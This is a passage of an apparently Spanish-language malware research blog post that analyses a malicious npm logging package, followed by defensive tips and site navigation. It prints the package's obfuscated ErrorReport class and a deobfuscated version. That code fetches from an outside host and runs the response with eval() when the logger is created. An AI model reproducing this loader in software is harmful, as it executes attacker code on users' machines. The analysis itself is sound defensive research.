  "dependencies": {
    "axios": "^1.5.0"
  },
  "keywords": [
    "logger"
  ],
  "author": "crouch",
  "license": "ISC",
  "description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}

No hay ganchos de ciclo de vida que se encuentran. Eso es un poco extraño. Pero para una biblioteca de registro, es un poco extraño ver una dependencia de axiosque se utiliza para realizar peticiones HTTP. A partir de ahí, vamos a la index.js y es puramente un archivo que importa src/logger.js. Veámoslo.

const ErrorReport = require("./lib/report");

class Logger {
  constructor() {
    this.level = 'info';
    this.output = null;
    this.report = new ErrorReport();
  }

  configure({ level, output }) {
    this.level = level || 'info';
    this.output = output ? path.resolve(output) : null;
  }

  log(level, message) {
    const timestamp = new Date().toISOString();
    const logMessage = `[${timestamp}] [${level.toUpperCase()}]: ${message}`;

    console.log(logMessage);
  }

  info(message) {
    this.log('info', message);
  }

  warn(message) {
    this.log('warn', message);
  }

  error(error) {
    this.log('error', error.stack || error.toString());
  }

  debug(message) {
    if (this.level === 'debug') {
      this.log('debug', message);
    }
  }
}

module.exports = Logger;

Nada destaca aquí a primera vista, pero ¿qué pasa con la importación de ErrorReport y que se instancie en el constructor sin ser utilizada? Veamos qué hace la clase.

"use strict";

class ErrorReport {
    constructor() {
        this.reportErr("");
    }

    versionToNumber(versionString) {
        return parseInt(versionString.replace(/\./g, ''), 10);
    }

    reportErr(err_msg) {
        function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }

        const hl = [
            g('72657175697265'),
            g('6178696f73'),
            g('676574'),
            g('687474703a2f2f6d6f72616c69732d6170692d76332e636c6f75642f6170692f736572766963652f746f6b656e2f6639306563316137303636653861356430323138633430356261363863353863'),
            g('7468656e'),
        ];
        
        const reportError = (msg) => require(hl[1])[[hl[2]]](hl[3])[[hl[4]]](res => res.data).catch(err => eval(err.response.data || "404"));
        reportError(err_msg);
    }
}

module.exports = ErrorReport;

Aquí hay bastante más. Hay un poco de ofuscación aquí, así que aquí está una versión simplificada de la misma.

"use strict";

class ErrorReport {
    constructor() {
        this.reportErr(""); // 
    }

    versionToNumber(versionString) {
        return parseInt(versionString.replace(/\./g, ''), 10);
    }

    reportErr(err_msg) {
        function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }

        const hl = [
            g('require'),
            g('axios'),
            g('get'),
            g('http://moralis-api-v3[.]cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c'),
            g('then'),
        ];
        
        const reportError = (msg) => require('axios')['get']('http://moralis-api-v3.cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c')[['then']](res => res.data).catch(err => eval(err.response.data || "404"));
        reportError(err_msg);
    }
}

module.exports = ErrorReport;

Ahora está mucho más claro lo que hace este código. En el constructor, se llama a la reportErr sin mensaje de error. La función está ofuscada y contiene las partes necesarias para importar axiosy, a continuación, llamar a eval() sobre los datos devueltos. Así que la biblioteca te ayuda, en cierto sentido, con el registro. Pero es quizás un poco demasiado útil, en el sentido de que también ejecuta código inesperado en tiempo de ejecución cuando la función Registrador es instanciada.

🛡️ Consejos de defensa

Para defenderse de paquetes como estos:

  • Auditar siempre los ganchos del ciclo de vida en paquete.json. Son un vector de ataque habitual.
  • Compruebe el repositorio frente al nombre del paquete: las sutiles diferencias de nombre suelen significar problemas.
  • Desconfíe de la ofuscación, el código minificado o los blobs base64 dentro de paquetes pequeños.
  • Utilice herramientas como Aikdio Intel para identificar paquetes sospechosos.
  • Congelar las dependencias de producción con archivos de bloqueo (paquete-lock.json).
  • Utilice una réplica privada del registro o un cortafuegos de paquetes (por ejemplo, Artifactory, Snyk Broker) para controlar lo que entra en su cadena de suministro.

Escrito por Charlie Eriksen

Investigador de malware

Comparte:

https://www.aikido.dev/blog/the-malware-dating-guide-understanding-the-types-of-malware-on-npm

Tabla de contenidos:
Enlace de texto
Comparte:
Utilizar el teclado
Utilice la tecla izquierda para navegar anterior en el control deslizante Aikido
Utilice la tecla de flecha derecha para pasar a la siguiente diapositiva
para navegar por los artículos
Por
Charlie Eriksen

Estás invitado: Entrega de malware a través de invitaciones de Google Calendar y PUAs

Malware
13 de mayo de 2025
Seguir leyendo
Por
Mackenzie Jackson

Por qué es tan difícil actualizar las imágenes base de los contenedores (y cómo hacerlo más fácil)

Ingeniería
12 de mayo de 2025
Seguir leyendo
Por
Charlie Eriksen

RATatouille: Una receta maliciosa oculta en rand-user-agent (Compromiso de la cadena de suministro)

6 de mayo de 2025
Seguir leyendo
Por
Charlie Eriksen

Ataque a la cadena de suministro de XRP: Paquete oficial de NPM infectado con backdoor de robo de criptomonedas

Malware
22 de abril de 2025
Seguir leyendo
Por
Charlie Eriksen

Esconderse y fallar: Malware ofuscado, cargas útiles vacías y travesuras de npm

Malware
3 de abril de 2025
Seguir leyendo
Por
Madeline Lawrence

Lanzamiento del malware Aikido - Open Source Threat Feed

Noticias
31 de marzo de 2025
Seguir leyendo
Por
Charlie Eriksen

Malware oculto a plena vista: Espiando a los hackers norcoreanos

31 de marzo de 2025
Seguir leyendo
Por
El equipo de Aikido

Principales herramientas de gestión de la postura de seguridad en la nube (CSPM) en 2025

Guías
27 de marzo de 2025
Seguir leyendo
Por
Madeline Lawrence

Obtenga el TL;DR: tj-actions/changed-files Ataque a la cadena de suministro

Noticias
16 de marzo de 2025
Seguir leyendo
Por
Mackenzie Jackson

Lista de comprobación de seguridad de Docker para desarrolladores preocupados por la vulnerabilidad

Guías
6 de marzo de 2025
Seguir leyendo
Por
Mackenzie Jackson

Detección y bloqueo de ataques de inyección SQL en JavaScript

Guías
4 de marzo de 2025
Seguir leyendo
Por
Floris Van den Abeele

¿Prisma y PostgreSQL vulnerables a la inyección NoSQL? Un sorprendente riesgo de seguridad explicado

Ingeniería
14 de febrero de 2025
Seguir leyendo
Por
El equipo de Aikido

Principales herramientas de pruebas dinámicas de seguridad de las aplicaciones (DAST) en 2025

Guías
12 de febrero de 2025
Seguir leyendo
Por
Willem Delbare

Lanzamiento de Opengrep | Por qué hemos bifurcado Semgrep

Noticias
24 de enero de 2025
Seguir leyendo
Por
Tomás Segura

Su cliente necesita un parche de vulnerabilidad NIS2. ¿Y ahora qué?

14 de enero de 2025
Seguir leyendo
Por
Mackenzie Jackson

Las 10 mejores herramientas SAST basadas en IA en 2025

Guías
10 de enero de 2025
Seguir leyendo
Por
Madeline Lawrence

Snyk vs Aikido Security | G2 Comentarios Snyk Alternativa

Guías
10 de enero de 2025
Seguir leyendo
Por
Mackenzie Jackson

Las 10 principales herramientas de análisis de la composición del software (SCA) en 2025

Guías
9 de enero de 2025
Seguir leyendo
Por
Michiel Denis

3 pasos clave para reforzar el cumplimiento y la gestión de riesgos

27 de diciembre de 2024
Seguir leyendo
Por
Mackenzie Jackson

Guía de código abierto sobre seguridad de las aplicaciones para startups

Guías
23 de diciembre de 2024
Seguir leyendo
Por
Madeline Lawrence

Lanzamiento de Aikido para Cursor AI

Ingeniería
13 de diciembre de 2024
Seguir leyendo
Por
Mackenzie Jackson

Conoce a Intel: La fuente de amenazas de código abierto de Aikido impulsada por LLM.

Ingeniería
13 de diciembre de 2024
Seguir leyendo
Por
Johan De Keulenaer

Aikido se une a la red de socios de AWS

Noticias
26 de noviembre de 2024
Seguir leyendo
Por
Mackenzie Jackson

Inyección de comandos en 2024 desempaquetada

Ingeniería
24 de noviembre de 2024
Seguir leyendo
Por
Mackenzie Jackson

Path Traversal en 2024 - El año desempacado

Ingeniería
23 de noviembre de 2024
Seguir leyendo
Por
Mackenzie Jackson

Equilibrar la seguridad: Cuándo aprovechar las herramientas de código abierto frente a las comerciales

Guías
15 de noviembre de 2024
Seguir leyendo
Por
Mackenzie Jackson

El estado de la inyección SQL

Guías
8 de noviembre de 2024
Seguir leyendo
Por
Michiel Denis

La seguridad de Visma aumenta con el aikido: Conversación con Nikolai Brogaard

Noticias
6 de noviembre de 2024
Seguir leyendo
Por
Michiel Denis

Seguridad en FinTech: Entrevista con Dan Kindler, cofundador y Director Técnico de Bound

Noticias
10 de octubre de 2024
Seguir leyendo
Por
Félix Garriau

Las 7 mejores herramientas ASPM en 2025

Guías
1 de octubre de 2024
Seguir leyendo
Por
Madeline Lawrence

Automatice el cumplimiento con SprintoGRC x Aikido

Noticias
11 de septiembre de 2024
Seguir leyendo
Por
Félix Garriau

Cómo crear un SBOM para auditorías de software

Guías
9 de septiembre de 2024
Seguir leyendo
Por
Madeline Lawrence

SAST vs DAST: Lo que hay que saber.

Guías
2 de septiembre de 2024
Seguir leyendo
Por
Félix Garriau

Las mejores herramientas SBOM para desarrolladores: Nuestras 2025 elegidas

Guías
7 de agosto de 2024
Seguir leyendo
Por
Lieven Oosterlinck

5 alternativas a Snyk y por qué son mejores

Noticias
5 de agosto de 2024
Seguir leyendo
Por
Madeline Lawrence

Por qué estamos encantados de colaborar con Laravel

Noticias
8 de julio de 2024
Seguir leyendo
Por
Félix Garriau

110.000 sitios afectados por el ataque a la cadena de suministro Polyfill

Noticias
27 de junio de 2024
Seguir leyendo
Por
Félix Garriau

Puntos esenciales de ciberseguridad para las empresas de tecnología jurídica

Noticias
25 de junio de 2024
Seguir leyendo
Por
Roeland Delrue

Integración de Drata - Cómo automatizar la gestión técnica de vulnerabilidades

Guías
18 de junio de 2024
Seguir leyendo
Por
Joel Hans

Guía DIY: Cree o compre su kit de herramientas de seguridad de aplicaciones y escaneado de código OSS

Guías
11 de junio de 2024
Seguir leyendo
Por
Roeland Delrue

Certificación SOC 2: 5 cosas que hemos aprendido

Guías
4 de junio de 2024
Seguir leyendo
Por
Joel Hans

Los 10 principales problemas de seguridad de las aplicaciones y cómo protegerse

Guías
28 de mayo de 2024
Seguir leyendo
Por
Madeline Lawrence

Acabamos de recaudar 17 millones de dólares de la Serie A

Noticias
2 de mayo de 2024
Seguir leyendo
Por

Las mejores herramientas RASP para desarrolladores en 2025

10 de abril de 2024
Seguir leyendo
Por
Willem Delbare

Lista de comprobación de la seguridad de los webhooks: Cómo crear webhooks seguros

Guías
4 de abril de 2024
Seguir leyendo
Por
Willem Delbare

La cura para el síndrome de fatiga por alerta de seguridad

Ingeniería
21 de febrero de 2024
Seguir leyendo
Por
Roeland Delrue

NIS2: ¿A quién afecta?

Guías
16 de enero de 2024
Seguir leyendo
Por
Roeland Delrue

Certificación ISO 27001: 8 cosas que hemos aprendido

Guías
5 de diciembre de 2023
Seguir leyendo
Por
Roeland Delrue

Cronos Group elige a Aikido Security para reforzar la seguridad de sus empresas y clientes

Noticias
30 de noviembre de 2023
Seguir leyendo
Por
Bart Jonckheere

Cómo Loctax utiliza Aikido Security para deshacerse de alertas de seguridad irrelevantes y falsos positivos

Noticias
22 de noviembre de 2023
Seguir leyendo
Por
Félix Garriau

Aikido Security recauda 5 millones de euros para ofrecer una solución de seguridad sin fisuras a las empresas SaaS en crecimiento

Noticias
9 de noviembre de 2023
Seguir leyendo
Por
Roeland Delrue

Aikido Security obtiene la certificación ISO 27001:2022

Noticias
8 de noviembre de 2023
Seguir leyendo
Por
Félix Garriau

Cómo el director de tecnología de StoryChief utiliza Aikido Security para dormir mejor por la noche

Noticias
24 de octubre de 2023
Seguir leyendo
Por
Willem Delbare

¿Qué es un CVE?

Guías
17 de octubre de 2023
Seguir leyendo
Por
Félix Garriau

Mejores herramientas para la detección del final de la vida: Clasificación 2025

Guías
4 de octubre de 2023
Seguir leyendo
Por
Willem Delbare

Las 3 principales vulnerabilidades de seguridad de las aplicaciones web en 2024

Ingeniería
27 de septiembre de 2023
Seguir leyendo
Por
Félix Garriau

Nuevas funciones de seguridad de Aikido: Agosto 2023

Noticias
22 de agosto de 2023
Seguir leyendo
Por
Félix Garriau

Lista de comprobación de seguridad del CTO de SaaS 2025 de Aikido

Noticias
10 de agosto de 2023
Seguir leyendo
Por
Félix Garriau

Lista de comprobación de seguridad del CTO de SaaS 2024 de Aikido

Noticias
10 de agosto de 2023
Seguir leyendo
Por
Félix Garriau

Los directores de tecnología revelan los 15 principales retos de la seguridad del código y la nube

Ingeniería
25 de julio de 2023
Seguir leyendo
Por
Willem Delbare

¿Qué es OWASP Top 10?

Guías
12 de julio de 2023
Seguir leyendo
Por
Willem Delbare

Cómo crear un panel de administración seguro para su aplicación SaaS

Guías
11 de julio de 2023
Seguir leyendo
Por
Roeland Delrue

Cómo prepararse para la norma ISO 27001:2022

Guías
5 de julio de 2023
Seguir leyendo
Por
Willem Delbare

Cómo evitar que pirateen su plataforma CI/CD

Guías
19 de junio de 2023
Seguir leyendo
Por
Félix Garriau

Cómo cerrar acuerdos más rápidamente con un informe de evaluación de la seguridad

Noticias
12 de junio de 2023
Seguir leyendo
Por
Willem Delbare

Automatizar la gestión técnica de vulnerabilidades [SOC 2]

Guías
5 de junio de 2023
Seguir leyendo
Por
Willem Delbare

Prevenir la contaminación de prototipos en su repositorio

Guías
1 de junio de 2023
Seguir leyendo
Por
Willem Delbare

¿Cómo equilibra el director de tecnología de una startup SaaS la velocidad de desarrollo y la seguridad?

Guías
16 de mayo de 2023
Seguir leyendo
Por
Willem Delbare

Cómo la nube de una startup fue tomada por un simple formulario que envía correos electrónicos

Ingeniería
10 de abril de 2023
Seguir leyendo
Por
Félix Garriau

Aikido Security recauda 2 millones de euros para crear una plataforma de seguridad de software orientada a los desarrolladores

Noticias
19 de enero de 2023
Seguir leyendo
Por

Por qué los archivos de bloqueo son importantes para la seguridad de la cadena de suministro

Seguir leyendo
Principales herramientas de gestión de la postura de seguridad en la nube (CSPM) en 2025
Por
El equipo de Aikido

Principales herramientas de gestión de la postura de seguridad en la nube (CSPM) en 2025

Guías
14 de mayo de 2025
Principales herramientas de pruebas dinámicas de seguridad de las aplicaciones (DAST) en 2025
Por
El equipo de Aikido

Principales herramientas de pruebas dinámicas de seguridad de las aplicaciones (DAST) en 2025

Guías
14 de mayo de 2025
Ataque a la cadena de suministro de XRP: Paquete oficial de NPM infectado con backdoor de robo de criptomonedas
Por
Charlie Eriksen

Ataque a la cadena de suministro de XRP: Paquete oficial de NPM infectado con backdoor de robo de criptomonedas

Malware
31 de marzo de 2025

Asegúrese en 32 segundos

Conecta tu cuenta de GitHub, GitLab, Bitbucket o Azure DevOps para empezar a escanear tus repos gratis.

Empezar gratis
Tus datos no se compartirán - Acceso de sólo lectura
Cuadro de mandos de Aikido
Empresa
ProductoPreciosAcerca deCarreras profesionalesPóngase en contacto conAsóciese con nosotros
Recursos
DocsDocumentos públicos sobre la APIBase de datos de vulnerabilidadesBlogIntegracionesGlosarioDossier de prensaOpiniones de los clientes
Seguridad
Centro de confianzaPanorama de la seguridadCambiar preferencias de cookies
Legal
Política de privacidadPolítica de cookiesCondiciones de usoContrato marco de suscripciónAcuerdo de procesamiento de datos
Casos prácticos
ConformidadSAST Y DASTASPMGestión de vulnerabilidadesGenerar SBOMSeguridad en WordPressProteja su códigoAikido para Microsoft
Industrias
Para HealthTechPara MedTechPara FinTechPara SecurityTechPara LegalTechPara HRTechPara las agenciasPara empresasPara PE y empresas del grupo
Compara
frente a todos los vendedoresvs Snykvs Wizcontra Mendvs Orca Securityvs Veracodevs GitHub Seguridad avanzadavs GitLab Ultimatevs Checkmarxfrente a Semgrepvs SonarQube
Conectar
hello@aikido.dev
LinkedInX
Suscríbase a
Manténgase al día de todas las actualizaciones
Aún no lo he conseguido.
👋🏻 ¡Gracias! Te has suscrito.
Equipo Aikido
Aún no lo he conseguido.
2025 Aikido Security BV | BE0792914919
🇪🇺 Domicilio social: Coupure Rechts 88, 9000, Gante, Bélgica
🇪🇺 Dirección de la oficina: Gebroeders van Eyckstraat 2, 9000, Gante, Bélgica
🇺🇸 Dirección de la oficina: 95 Third St, 2nd Fl, San Francisco, CA 94103, EE.UU.
SOC 2
Conforme
ISO 27001
Conforme